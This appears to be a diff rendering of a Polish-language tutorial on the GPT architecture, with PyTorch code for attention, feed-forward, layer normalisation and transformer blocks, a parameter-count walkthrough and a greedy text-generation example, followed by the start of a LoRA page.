# Unroll last dim: (b, num_tokens, d_out) -> (b, num_tokens, num_heads, head_dim)
|
||||
keys = keys.view(b, num_tokens, self.num_heads, self.head_dim)
|
||||
values = values.view(b, num_tokens, self.num_heads, self.head_dim)
|
||||
queries = queries.view(b, num_tokens, self.num_heads, self.head_dim)
|
||||
|
||||
# Transpose: (b, num_tokens, num_heads, head_dim) -> (b, num_heads, num_tokens, head_dim)
|
||||
keys = keys.transpose(1, 2)
|
||||
queries = queries.transpose(1, 2)
|
||||
values = values.transpose(1, 2)
|
||||
|
||||
# Compute scaled dot-product attention (aka self-attention) with a causal mask
|
||||
attn_scores = queries @ keys.transpose(2, 3) # Dot product for each head
|
||||
|
||||
# Original mask truncated to the number of tokens and converted to boolean
|
||||
mask_bool = self.mask.bool()[:num_tokens, :num_tokens]
|
||||
|
||||
# Use the mask to fill attention scores
|
||||
attn_scores.masked_fill_(mask_bool, -torch.inf)
|
||||
|
||||
attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1)
|
||||
attn_weights = self.dropout(attn_weights)
|
||||
|
||||
# Shape: (b, num_tokens, num_heads, head_dim)
|
||||
context_vec = (attn_weights @ values).transpose(1, 2)
|
||||
|
||||
# Combine heads, where self.d_out = self.num_heads * self.head_dim
|
||||
context_vec = context_vec.contiguous().view(b, num_tokens, self.d_out)
|
||||
context_vec = self.out_proj(context_vec) # optional projection
|
||||
|
||||
return context_vec
|
||||
|
||||
class LayerNorm(nn.Module):
|
||||
def __init__(self, emb_dim):
|
||||
super().__init__()
|
||||
self.eps = 1e-5
|
||||
self.scale = nn.Parameter(torch.ones(emb_dim))
|
||||
self.shift = nn.Parameter(torch.zeros(emb_dim))
|
||||
|
||||
def forward(self, x):
|
||||
mean = x.mean(dim=-1, keepdim=True)
|
||||
var = x.var(dim=-1, keepdim=True, unbiased=False)
|
||||
norm_x = (x - mean) / torch.sqrt(var + self.eps)
|
||||
return self.scale * norm_x + self.shift
|
||||
|
||||
class TransformerBlock(nn.Module):
|
||||
def __init__(self, cfg):
|
||||
super().__init__()
|
||||
self.att = MultiHeadAttention(
|
||||
d_in=cfg["emb_dim"],
|
||||
d_out=cfg["emb_dim"],
|
||||
context_length=cfg["context_length"],
|
||||
num_heads=cfg["n_heads"],
|
||||
dropout=cfg["drop_rate"],
|
||||
qkv_bias=cfg["qkv_bias"])
|
||||
self.ff = FeedForward(cfg)
|
||||
self.norm1 = LayerNorm(cfg["emb_dim"])
|
||||
self.norm2 = LayerNorm(cfg["emb_dim"])
|
||||
self.drop_shortcut = nn.Dropout(cfg["drop_rate"])
|
||||
|
||||
def forward(self, x):
|
||||
# Shortcut connection for attention block
|
||||
shortcut = x
|
||||
x = self.norm1(x)
|
||||
x = self.att(x) # Shape [batch_size, num_tokens, emb_size]
|
||||
x = self.drop_shortcut(x)
|
||||
x = x + shortcut # Add the original input back
|
||||
|
||||
# Shortcut connection for feed forward block
|
||||
shortcut = x
|
||||
x = self.norm2(x)
|
||||
x = self.ff(x)
|
||||
x = self.drop_shortcut(x)
|
||||
x = x + shortcut # Add the original input back
|
||||
|
||||
return x
|
||||
|
||||
|
||||
class GPTModel(nn.Module):
|
||||
def __init__(self, cfg):
|
||||
super().__init__()
|
||||
self.tok_emb = nn.Embedding(cfg["vocab_size"], cfg["emb_dim"])
|
||||
self.pos_emb = nn.Embedding(cfg["context_length"], cfg["emb_dim"])
|
||||
self.drop_emb = nn.Dropout(cfg["drop_rate"])
|
||||
|
||||
self.trf_blocks = nn.Sequential(
|
||||
*[TransformerBlock(cfg) for _ in range(cfg["n_layers"])])
|
||||
|
||||
self.final_norm = LayerNorm(cfg["emb_dim"])
|
||||
self.out_head = nn.Linear(
|
||||
cfg["emb_dim"], cfg["vocab_size"], bias=False
|
||||
)
|
||||
|
||||
def forward(self, in_idx):
|
||||
batch_size, seq_len = in_idx.shape
|
||||
tok_embeds = self.tok_emb(in_idx)
|
||||
pos_embeds = self.pos_emb(torch.arange(seq_len, device=in_idx.device))
|
||||
x = tok_embeds + pos_embeds # Shape [batch_size, num_tokens, emb_size]
|
||||
x = self.drop_emb(x)
|
||||
x = self.trf_blocks(x)
|
||||
x = self.final_norm(x)
|
||||
logits = self.out_head(x)
|
||||
return logits
|
||||
|
||||
GPT_CONFIG_124M = {
|
||||
"vocab_size": 50257, # Vocabulary size
|
||||
"context_length": 1024, # Context length
|
||||
"emb_dim": 768, # Embedding dimension
|
||||
"n_heads": 12, # Number of attention heads
|
||||
"n_layers": 12, # Number of layers
|
||||
"drop_rate": 0.1, # Dropout rate
|
||||
"qkv_bias": False # Query-Key-Value bias
|
||||
}
|
||||
|
||||
torch.manual_seed(123)
|
||||
model = GPTModel(GPT_CONFIG_124M)
|
||||
out = model(batch)
|
||||
print("Input batch:\n", batch)
|
||||
print("\nOutput shape:", out.shape)
|
||||
print(out)
|
||||
```
|
||||
### **Funkcja aktywacji GELU**
|
||||
```python
|
||||
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
||||
class GELU(nn.Module):
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
|
||||
def forward(self, x):
|
||||
return 0.5 * x * (1 + torch.tanh(
|
||||
torch.sqrt(torch.tensor(2.0 / torch.pi)) *
|
||||
(x + 0.044715 * torch.pow(x, 3))
|
||||
))
|
||||
```
|
||||
#### **Cel i Funkcjonalność**
|
||||
|
||||
* **GELU (Gaussian Error Linear Unit):** Funkcja aktywacji, która wprowadza nieliniowość do modelu.
|
||||
* **Gładka Aktywacja:** W przeciwieństwie do ReLU, która zeruje ujemne wejścia, GELU gładko mapuje wejścia na wyjścia, pozwalając na małe, różne od zera wartości dla ujemnych wejść.
|
||||
* **Definicja Matematyczna:**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="info" %}
|
||||
Celem użycia tej funkcji po warstwach liniowych wewnątrz warstwy FeedForward jest przekształcenie danych liniowych w nieliniowe, aby umożliwić modelowi uczenie się złożonych, nieliniowych relacji.
|
||||
{% endhint %}
|
||||
|
||||
### **Sieć Neuronowa FeedForward**
|
||||
|
||||
_Kształty zostały dodane jako komentarze, aby lepiej zrozumieć kształty macierzy:_
|
||||
```python
|
||||
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
||||
class FeedForward(nn.Module):
|
||||
def __init__(self, cfg):
|
||||
super().__init__()
|
||||
self.layers = nn.Sequential(
|
||||
nn.Linear(cfg["emb_dim"], 4 * cfg["emb_dim"]),
|
||||
GELU(),
|
||||
nn.Linear(4 * cfg["emb_dim"], cfg["emb_dim"]),
|
||||
)
|
||||
|
||||
def forward(self, x):
|
||||
# x shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
x = self.layers[0](x)# x shape: (batch_size, seq_len, 4 * emb_dim)
|
||||
x = self.layers[1](x) # x shape remains: (batch_size, seq_len, 4 * emb_dim)
|
||||
x = self.layers[2](x) # x shape: (batch_size, seq_len, emb_dim)
|
||||
return x # Output shape: (batch_size, seq_len, emb_dim)
|
||||
```
|
||||
#### **Cel i Funkcjonalność**
|
||||
|
||||
* **Sieć FeedForward na poziomie pozycji:** Zastosowuje dwuwarstwową sieć w pełni połączoną do każdej pozycji osobno i identycznie.
|
||||
* **Szczegóły warstwy:**
|
||||
* **Pierwsza warstwa liniowa:** Zwiększa wymiarowość z `emb_dim` do `4 * emb_dim`.
|
||||
* **Aktywacja GELU:** Zastosowuje nieliniowość.
|
||||
* **Druga warstwa liniowa:** Redukuje wymiarowość z powrotem do `emb_dim`.
|
||||
|
||||
{% hint style="info" %}
|
||||
Jak widać, sieć Feed Forward używa 3 warstw. Pierwsza to warstwa liniowa, która pomnoży wymiary przez 4, używając wag liniowych (parametrów do trenowania wewnątrz modelu). Następnie funkcja GELU jest używana we wszystkich tych wymiarach, aby zastosować nieliniowe wariacje w celu uchwycenia bogatszych reprezentacji, a na końcu używana jest kolejna warstwa liniowa, aby wrócić do oryginalnego rozmiaru wymiarów.
|
||||
{% endhint %}
|
||||
|
||||
### **Mechanizm Uwag Multi-Head**
|
||||
|
||||
To zostało już wyjaśnione w wcześniejszej sekcji.
|
||||
|
||||
#### **Cel i Funkcjonalność**
|
||||
|
||||
* **Multi-Head Self-Attention:** Pozwala modelowi skupić się na różnych pozycjach w sekwencji wejściowej podczas kodowania tokenu.
|
||||
* **Kluczowe komponenty:**
|
||||
* **Zapytania, Klucze, Wartości:** Liniowe projekcje wejścia, używane do obliczania wyników uwagi.
|
||||
* **Głowy:** Wiele mechanizmów uwagi działających równolegle (`num_heads`), z każdą o zredukowanej wymiarowości (`head_dim`).
|
||||
* **Wyniki uwagi:** Obliczane jako iloczyn skalarny zapytań i kluczy, skalowane i maskowane.
|
||||
* **Maskowanie:** Zastosowana jest maska przyczynowa, aby zapobiec modelowi zwracania uwagi na przyszłe tokeny (ważne dla modeli autoregresywnych, takich jak GPT).
|
||||
* **Wagi uwagi:** Softmax z maskowanych i skalowanych wyników uwagi.
|
||||
* **Wektor kontekstu:** Ważona suma wartości, zgodnie z wagami uwagi.
|
||||
* **Projekcja wyjściowa:** Warstwa liniowa do połączenia wyjść wszystkich głów.
|
||||
|
||||
{% hint style="info" %}
|
||||
Celem tej sieci jest znalezienie relacji między tokenami w tym samym kontekście. Ponadto tokeny są dzielone na różne głowy, aby zapobiec nadmiernemu dopasowaniu, chociaż ostateczne relacje znalezione na głowę są łączone na końcu tej sieci.
|
||||
|
||||
Ponadto, podczas treningu stosowana jest **maska przyczynowa**, aby późniejsze tokeny nie były brane pod uwagę przy poszukiwaniu specyficznych relacji do tokenu, a także stosowany jest **dropout**, aby **zapobiec nadmiernemu dopasowaniu**.
|
||||
{% endhint %}
|
||||
|
||||
### **Normalizacja** Warstwy
|
||||
```python
|
||||
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
||||
class LayerNorm(nn.Module):
|
||||
def __init__(self, emb_dim):
|
||||
super().__init__()
|
||||
self.eps = 1e-5 # Prevent division by zero during normalization.
|
||||
self.scale = nn.Parameter(torch.ones(emb_dim))
|
||||
self.shift = nn.Parameter(torch.zeros(emb_dim))
|
||||
|
||||
def forward(self, x):
|
||||
mean = x.mean(dim=-1, keepdim=True)
|
||||
var = x.var(dim=-1, keepdim=True, unbiased=False)
|
||||
norm_x = (x - mean) / torch.sqrt(var + self.eps)
|
||||
return self.scale * norm_x + self.shift
|
||||
```
|
||||
#### **Cel i Funkcjonalność**
|
||||
|
||||
* **Normalizacja Warstw:** Technika używana do normalizacji wejść wzdłuż cech (wymiarów osadzenia) dla każdego pojedynczego przykładu w partii.
|
||||
* **Składniki:**
|
||||
* **`eps`:** Mała stała (`1e-5`) dodawana do wariancji, aby zapobiec dzieleniu przez zero podczas normalizacji.
|
||||
* **`scale` i `shift`:** Uczące się parametry (`nn.Parameter`), które pozwalają modelowi na skalowanie i przesuwanie znormalizowanego wyjścia. Są inicjowane odpowiednio do jedynek i zer.
|
||||
* **Proces Normalizacji:**
|
||||
* **Obliczanie Średniej (`mean`):** Oblicza średnią z wejścia `x` wzdłuż wymiaru osadzenia (`dim=-1`), zachowując wymiar do rozprzestrzeniania (`keepdim=True`).
|
||||
* **Obliczanie Wariancji (`var`):** Oblicza wariancję `x` wzdłuż wymiaru osadzenia, również zachowując wymiar. Parametr `unbiased=False` zapewnia, że wariancja jest obliczana przy użyciu oszacowania obciążonego (dzieląc przez `N` zamiast `N-1`), co jest odpowiednie przy normalizacji wzdłuż cech, a nie próbek.
|
||||
* **Normalizacja (`norm_x`):** Odejmuje średnią od `x` i dzieli przez pierwiastek kwadratowy z wariancji plus `eps`.
|
||||
* **Skalowanie i Przesunięcie:** Zastosowuje uczące się parametry `scale` i `shift` do znormalizowanego wyjścia.
|
||||
|
||||
{% hint style="info" %}
|
||||
Celem jest zapewnienie średniej 0 z wariancją 1 we wszystkich wymiarach tego samego tokena. Celem tego jest **stabilizacja treningu głębokich sieci neuronowych** poprzez redukcję wewnętrznego przesunięcia kowariancji, które odnosi się do zmiany w rozkładzie aktywacji sieci z powodu aktualizacji parametrów podczas treningu.
|
||||
{% endhint %}
|
||||
|
||||
### **Blok Transformera**
|
||||
|
||||
_Kształty zostały dodane jako komentarze, aby lepiej zrozumieć kształty macierzy:_
|
||||
```python
|
||||
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
||||
|
||||
class TransformerBlock(nn.Module):
|
||||
def __init__(self, cfg):
|
||||
super().__init__()
|
||||
self.att = MultiHeadAttention(
|
||||
d_in=cfg["emb_dim"],
|
||||
d_out=cfg["emb_dim"],
|
||||
context_length=cfg["context_length"],
|
||||
num_heads=cfg["n_heads"],
|
||||
dropout=cfg["drop_rate"],
|
||||
qkv_bias=cfg["qkv_bias"]
|
||||
)
|
||||
self.ff = FeedForward(cfg)
|
||||
self.norm1 = LayerNorm(cfg["emb_dim"])
|
||||
self.norm2 = LayerNorm(cfg["emb_dim"])
|
||||
self.drop_shortcut = nn.Dropout(cfg["drop_rate"])
|
||||
|
||||
def forward(self, x):
|
||||
# x shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
# Shortcut connection for attention block
|
||||
shortcut = x # shape: (batch_size, seq_len, emb_dim)
|
||||
x = self.norm1(x) # shape remains (batch_size, seq_len, emb_dim)
|
||||
x = self.att(x) # shape: (batch_size, seq_len, emb_dim)
|
||||
x = self.drop_shortcut(x) # shape remains (batch_size, seq_len, emb_dim)
|
||||
x = x + shortcut # shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
# Shortcut connection for feedforward block
|
||||
shortcut = x # shape: (batch_size, seq_len, emb_dim)
|
||||
x = self.norm2(x) # shape remains (batch_size, seq_len, emb_dim)
|
||||
x = self.ff(x) # shape: (batch_size, seq_len, emb_dim)
|
||||
x = self.drop_shortcut(x) # shape remains (batch_size, seq_len, emb_dim)
|
||||
x = x + shortcut # shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
return x # Output shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
```
|
||||
#### **Cel i Funkcjonalność**
|
||||
|
||||
* **Kompozycja Warstw:** Łączy wielogłowe uwagi, sieć feedforward, normalizację warstw i połączenia rezydualne.
|
||||
* **Normalizacja Warstw:** Stosowana przed warstwami uwagi i feedforward dla stabilnego treningu.
|
||||
* **Połączenia Rezydualne (Skróty):** Dodają wejście warstwy do jej wyjścia, aby poprawić przepływ gradientu i umożliwić trening głębokich sieci.
|
||||
* **Dropout:** Stosowany po warstwach uwagi i feedforward w celu regularyzacji.
|
||||
|
||||
#### **Funkcjonalność Krok po Kroku**
|
||||
|
||||
1. **Pierwsza Ścieżka Rezydualna (Self-Attention):**
|
||||
* **Wejście (`shortcut`):** Zapisz oryginalne wejście dla połączenia rezydualnego.
|
||||
* **Normalizacja Warstw (`norm1`):** Normalizuj wejście.
|
||||
* **Wielogłowa Uwaga (`att`):** Zastosuj self-attention.
|
||||
* **Dropout (`drop_shortcut`):** Zastosuj dropout w celu regularyzacji.
|
||||
* **Dodaj Rezydual (`x + shortcut`):** Połącz z oryginalnym wejściem.
|
||||
2. **Druga Ścieżka Rezydualna (FeedForward):**
|
||||
* **Wejście (`shortcut`):** Zapisz zaktualizowane wejście dla następnego połączenia rezydualnego.
|
||||
* **Normalizacja Warstw (`norm2`):** Normalizuj wejście.
|
||||
* **Sieć FeedForward (`ff`):** Zastosuj transformację feedforward.
|
||||
* **Dropout (`drop_shortcut`):** Zastosuj dropout.
|
||||
* **Dodaj Rezydual (`x + shortcut`):** Połącz z wejściem z pierwszej ścieżki rezydualnej.
|
||||
|
||||
{% hint style="info" %}
|
||||
Blok transformatora grupuje wszystkie sieci razem i stosuje pewne **normalizacje** oraz **dropouty** w celu poprawy stabilności treningu i wyników.\
|
||||
Zauważ, że dropouty są stosowane po użyciu każdej sieci, podczas gdy normalizacja jest stosowana przed.
|
||||
|
||||
Ponadto, wykorzystuje również skróty, które polegają na **dodawaniu wyjścia sieci do jej wejścia**. Pomaga to zapobiegać problemowi znikającego gradientu, zapewniając, że początkowe warstwy przyczyniają się "tak samo" jak ostatnie.
|
||||
{% endhint %}
|
||||
|
||||
### **GPTModel**
|
||||
|
||||
_Kształty zostały dodane jako komentarze, aby lepiej zrozumieć kształty macierzy:_
|
||||
```python
|
||||
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
||||
class GPTModel(nn.Module):
|
||||
def __init__(self, cfg):
|
||||
super().__init__()
|
||||
self.tok_emb = nn.Embedding(cfg["vocab_size"], cfg["emb_dim"])
|
||||
# shape: (vocab_size, emb_dim)
|
||||
|
||||
self.pos_emb = nn.Embedding(cfg["context_length"], cfg["emb_dim"])
|
||||
# shape: (context_length, emb_dim)
|
||||
|
||||
self.drop_emb = nn.Dropout(cfg["drop_rate"])
|
||||
|
||||
self.trf_blocks = nn.Sequential(
|
||||
*[TransformerBlock(cfg) for _ in range(cfg["n_layers"])]
|
||||
)
|
||||
# Stack of TransformerBlocks
|
||||
|
||||
self.final_norm = LayerNorm(cfg["emb_dim"])
|
||||
self.out_head = nn.Linear(cfg["emb_dim"], cfg["vocab_size"], bias=False)
|
||||
# shape: (emb_dim, vocab_size)
|
||||
|
||||
def forward(self, in_idx):
|
||||
# in_idx shape: (batch_size, seq_len)
|
||||
batch_size, seq_len = in_idx.shape
|
||||
|
||||
# Token embeddings
|
||||
tok_embeds = self.tok_emb(in_idx)
|
||||
# shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
# Positional embeddings
|
||||
pos_indices = torch.arange(seq_len, device=in_idx.device)
|
||||
# shape: (seq_len,)
|
||||
pos_embeds = self.pos_emb(pos_indices)
|
||||
# shape: (seq_len, emb_dim)
|
||||
|
||||
# Add token and positional embeddings
|
||||
x = tok_embeds + pos_embeds # Broadcasting over batch dimension
|
||||
# x shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
x = self.drop_emb(x) # Dropout applied
|
||||
# x shape remains: (batch_size, seq_len, emb_dim)
|
||||
|
||||
x = self.trf_blocks(x) # Pass through Transformer blocks
|
||||
# x shape remains: (batch_size, seq_len, emb_dim)
|
||||
|
||||
x = self.final_norm(x) # Final LayerNorm
|
||||
# x shape remains: (batch_size, seq_len, emb_dim)
|
||||
|
||||
logits = self.out_head(x) # Project to vocabulary size
|
||||
# logits shape: (batch_size, seq_len, vocab_size)
|
||||
|
||||
return logits # Output shape: (batch_size, seq_len, vocab_size)
|
||||
```
|
||||
#### **Cel i Funkcjonalność**
|
||||
|
||||
* **Warstwy osadzeń:**
|
||||
* **Osadzenia tokenów (`tok_emb`):** Konwertuje indeksy tokenów na osadzenia. Przypomnienie, są to wagi przypisane do każdego wymiaru każdego tokena w słowniku.
|
||||
* **Osadzenia pozycyjne (`pos_emb`):** Dodaje informacje o pozycji do osadzeń, aby uchwycić kolejność tokenów. Przypomnienie, są to wagi przypisane do tokena zgodnie z jego pozycją w tekście.
|
||||
* **Dropout (`drop_emb`):** Stosowane do osadzeń w celu regularyzacji.
|
||||
* **Bloki transformatorowe (`trf_blocks`):** Stos `n_layers` bloków transformatorowych do przetwarzania osadzeń.
|
||||
* **Ostateczna normalizacja (`final_norm`):** Normalizacja warstwy przed warstwą wyjściową.
|
||||
* **Warstwa wyjściowa (`out_head`):** Projekcja ostatecznych ukrytych stanów do rozmiaru słownika w celu wygenerowania logitów do predykcji.
|
||||
|
||||
{% hint style="info" %}
|
||||
Celem tej klasy jest wykorzystanie wszystkich innych wspomnianych sieci do **przewidywania następnego tokena w sekwencji**, co jest fundamentalne dla zadań takich jak generowanie tekstu.
|
||||
|
||||
Zauważ, jak będzie **używać tylu bloków transformatorowych, ile wskazano** i że każdy blok transformatorowy korzysta z jednej sieci z wieloma głowicami uwagi, jednej sieci feed forward i kilku normalizacji. Więc jeśli używa się 12 bloków transformatorowych, pomnóż to przez 12.
|
||||
|
||||
Ponadto, warstwa **normalizacji** jest dodawana **przed** **wyjściem** i na końcu stosowana jest ostateczna warstwa liniowa, aby uzyskać wyniki o odpowiednich wymiarach. Zauważ, że każdy ostateczny wektor ma rozmiar używanego słownika. Dzieje się tak, ponieważ próbuje uzyskać prawdopodobieństwo dla każdego możliwego tokena w słowniku.
|
||||
{% endhint %}
|
||||
|
||||
## Liczba parametrów do wytrenowania
|
||||
|
||||
Mając zdefiniowaną strukturę GPT, możliwe jest ustalenie liczby parametrów do wytrenowania:
|
||||
```python
|
||||
GPT_CONFIG_124M = {
|
||||
"vocab_size": 50257, # Vocabulary size
|
||||
"context_length": 1024, # Context length
|
||||
"emb_dim": 768, # Embedding dimension
|
||||
"n_heads": 12, # Number of attention heads
|
||||
"n_layers": 12, # Number of layers
|
||||
"drop_rate": 0.1, # Dropout rate
|
||||
"qkv_bias": False # Query-Key-Value bias
|
||||
}
|
||||
|
||||
model = GPTModel(GPT_CONFIG_124M)
|
||||
total_params = sum(p.numel() for p in model.parameters())
|
||||
print(f"Total number of parameters: {total_params:,}")
|
||||
# Total number of parameters: 163,009,536
|
||||
```
|
||||
### **Krok po Kroku Obliczenia**
|
||||
|
||||
#### **1. Warstwy Osadzenia: Osadzenie Tokenów i Osadzenie Pozycji**
|
||||
|
||||
* **Warstwa:** `nn.Embedding(vocab_size, emb_dim)`
|
||||
* **Parametry:** `vocab_size * emb_dim`
|
||||
```python
|
||||
token_embedding_params = 50257 * 768 = 38,597,376
|
||||
```
|
||||
* **Warstwa:** `nn.Embedding(context_length, emb_dim)`
|
||||
* **Parametry:** `context_length * emb_dim`
|
||||
```python
|
||||
position_embedding_params = 1024 * 768 = 786,432
|
||||
```
|
||||
**Całkowita liczba parametrów osadzenia**
|
||||
```python
|
||||
embedding_params = token_embedding_params + position_embedding_params
|
||||
embedding_params = 38,597,376 + 786,432 = 39,383,808
|
||||
```
|
||||
#### **2. Bloki Transformera**
|
||||
|
||||
Jest 12 bloków transformera, więc obliczymy parametry dla jednego bloku, a następnie pomnożymy przez 12.
|
||||
|
||||
**Parametry na blok transformera**
|
||||
|
||||
**a. Uwaga wielogłowa**
|
||||
|
||||
* **Składniki:**
|
||||
* **Warstwa liniowa zapytania (`W_query`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
|
||||
* **Warstwa liniowa klucza (`W_key`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
|
||||
* **Warstwa liniowa wartości (`W_value`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
|
||||
* **Projekcja wyjściowa (`out_proj`):** `nn.Linear(emb_dim, emb_dim)`
|
||||
* **Obliczenia:**
|
||||
* **Każda z `W_query`, `W_key`, `W_value`:**
|
||||
|
||||
```python
|
||||
qkv_params = emb_dim * emb_dim = 768 * 768 = 589,824
|
||||
```
|
||||
|
||||
Ponieważ są trzy takie warstwy:
|
||||
|
||||
```python
|
||||
total_qkv_params = 3 * qkv_params = 3 * 589,824 = 1,769,472
|
||||
```
|
||||
* **Projekcja wyjściowa (`out_proj`):**
|
||||
|
||||
```python
|
||||
out_proj_params = (emb_dim * emb_dim) + emb_dim = (768 * 768) + 768 = 589,824 + 768 = 590,592
|
||||
```
|
||||
* **Całkowite parametry uwagi wielogłowej:**
|
||||
|
||||
```python
|
||||
mha_params = total_qkv_params + out_proj_params
|
||||
mha_params = 1,769,472 + 590,592 = 2,360,064
|
||||
```
|
||||
|
||||
**b. Sieć FeedForward**
|
||||
|
||||
* **Składniki:**
|
||||
* **Pierwsza warstwa liniowa:** `nn.Linear(emb_dim, 4 * emb_dim)`
|
||||
* **Druga warstwa liniowa:** `nn.Linear(4 * emb_dim, emb_dim)`
|
||||
* **Obliczenia:**
|
||||
* **Pierwsza warstwa liniowa:**
|
||||
|
||||
```python
|
||||
ff_first_layer_params = (emb_dim * 4 * emb_dim) + (4 * emb_dim)
|
||||
ff_first_layer_params = (768 * 3072) + 3072 = 2,359,296 + 3,072 = 2,362,368
|
||||
```
|
||||
* **Druga warstwa liniowa:**
|
||||
|
||||
```python
|
||||
ff_second_layer_params = (4 * emb_dim * emb_dim) + emb_dim
|
||||
ff_second_layer_params = (3072 * 768) + 768 = 2,359,296 + 768 = 2,360,064
|
||||
```
|
||||
* **Całkowite parametry FeedForward:**
|
||||
|
||||
```python
|
||||
ff_params = ff_first_layer_params + ff_second_layer_params
|
||||
ff_params = 2,362,368 + 2,360,064 = 4,722,432
|
||||
```
|
||||
|
||||
**c. Normalizacje warstw**
|
||||
|
||||
* **Składniki:**
|
||||
* Dwa wystąpienia `LayerNorm` na blok.
|
||||
* Każde `LayerNorm` ma `2 * emb_dim` parametrów (skala i przesunięcie).
|
||||
* **Obliczenia:**
|
||||
|
||||
```python
|
||||
layer_norm_params_per_block = 2 * (2 * emb_dim) = 2 * 768 * 2 = 3,072
|
||||
```
|
||||
|
||||
**d. Całkowite parametry na blok transformera**
|
||||
```python
|
||||
pythonCopy codeparams_per_block = mha_params + ff_params + layer_norm_params_per_block
|
||||
params_per_block = 2,360,064 + 4,722,432 + 3,072 = 7,085,568
|
||||
```
|
||||
**Całkowita liczba parametrów dla wszystkich bloków transformatorów**
|
||||
```python
|
||||
pythonCopy codetotal_transformer_blocks_params = params_per_block * n_layers
|
||||
total_transformer_blocks_params = 7,085,568 * 12 = 85,026,816
|
||||
```
|
||||
#### **3. Ostateczne Warstwy**
|
||||
|
||||
**a. Normalizacja Ostatecznej Warstwy**
|
||||
|
||||
* **Parametry:** `2 * emb_dim` (skala i przesunięcie)
|
||||
```python
|
||||
pythonCopy codefinal_layer_norm_params = 2 * 768 = 1,536
|
||||
```
|
||||
**b. Warstwa Projekcji Wyjścia (`out_head`)**
|
||||
|
||||
* **Warstwa:** `nn.Linear(emb_dim, vocab_size, bias=False)`
|
||||
* **Parametry:** `emb_dim * vocab_size`
|
||||
```python
|
||||
pythonCopy codeoutput_projection_params = 768 * 50257 = 38,597,376
|
||||
```
|
||||
#### **4. Podsumowanie wszystkich parametrów**
|
||||
```python
|
||||
pythonCopy codetotal_params = (
|
||||
embedding_params +
|
||||
total_transformer_blocks_params +
|
||||
final_layer_norm_params +
|
||||
output_projection_params
|
||||
)
|
||||
total_params = (
|
||||
39,383,808 +
|
||||
85,026,816 +
|
||||
1,536 +
|
||||
38,597,376
|
||||
)
|
||||
total_params = 163,009,536
|
||||
```
|
||||
## Generowanie tekstu
|
||||
|
||||
Mając model, który przewiduje następny token, jak ten wcześniej, wystarczy wziąć wartości ostatniego tokena z wyjścia (ponieważ będą to wartości przewidywanego tokena), które będą **wartością na wpis w słowniku**, a następnie użyć funkcji `softmax`, aby znormalizować wymiary do prawdopodobieństw, które sumują się do 1, a następnie uzyskać indeks największego wpisu, który będzie indeksem słowa w słowniku.
|
||||
|
||||
Kod z [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01\_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01\_main-chapter-code/ch04.ipynb):
|
||||
```python
|
||||
def generate_text_simple(model, idx, max_new_tokens, context_size):
|
||||
# idx is (batch, n_tokens) array of indices in the current context
|
||||
for _ in range(max_new_tokens):
|
||||
|
||||
# Crop current context if it exceeds the supported context size
|
||||
# E.g., if LLM supports only 5 tokens, and the context size is 10
|
||||
# then only the last 5 tokens are used as context
|
||||
idx_cond = idx[:, -context_size:]
|
||||
|
||||
# Get the predictions
|
||||
with torch.no_grad():
|
||||
logits = model(idx_cond)
|
||||
|
||||
# Focus only on the last time step
|
||||
# (batch, n_tokens, vocab_size) becomes (batch, vocab_size)
|
||||
logits = logits[:, -1, :]
|
||||
|
||||
# Apply softmax to get probabilities
|
||||
probas = torch.softmax(logits, dim=-1) # (batch, vocab_size)
|
||||
|
||||
# Get the idx of the vocab entry with the highest probability value
|
||||
idx_next = torch.argmax(probas, dim=-1, keepdim=True) # (batch, 1)
|
||||
|
||||
# Append sampled index to the running sequence
|
||||
idx = torch.cat((idx, idx_next), dim=1) # (batch, n_tokens+1)
|
||||
|
||||
return idx
|
||||
|
||||
|
||||
start_context = "Hello, I am"
|
||||
|
||||
encoded = tokenizer.encode(start_context)
|
||||
print("encoded:", encoded)
|
||||
|
||||
encoded_tensor = torch.tensor(encoded).unsqueeze(0)
|
||||
print("encoded_tensor.shape:", encoded_tensor.shape)
|
||||
|
||||
model.eval() # disable dropout
|
||||
|
||||
out = generate_text_simple(
|
||||
model=model,
|
||||
idx=encoded_tensor,
|
||||
max_new_tokens=6,
|
||||
context_size=GPT_CONFIG_124M["context_length"]
|
||||
)
|
||||
|
||||
print("Output:", out)
|
||||
print("Output length:", len(out[0]))
|
||||
```
|
||||
## References
|
||||
|
||||
* [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
|
@ -0,0 +1,61 @@
|
|||
# 7.0. Ulepszenia LoRA w dostrajaniu
|
||||
|
||||
## Ulepszenia LoRA
|
||||
|
||||
{% hint style="success" %}
|
||||
Użycie **LoRA znacznie redukuje obliczenia** potrzebne do **dostrajania** już wytrenowanych modeli.
|
||||
{% endhint %}
|
||||
|
||||
LoRA umożliwia efektywne dostrajanie **dużych modeli** poprzez zmianę tylko **małej części** modelu. Redukuje liczbę parametrów, które musisz wytrenować, oszczędzając **pamięć** i **zasoby obliczeniowe**. Dzieje się tak, ponieważ:
|
||||
|
||||
1. **Redukuje liczbę parametrów do wytrenowania**: Zamiast aktualizować całą macierz wag w modelu, LoRA **dzieli** macierz wag na dwie mniejsze macierze (nazywane **A** i **B**). To sprawia, że trening jest **szybszy** i wymaga **mniej pamięci**, ponieważ mniej parametrów musi być aktualizowanych.
|
||||
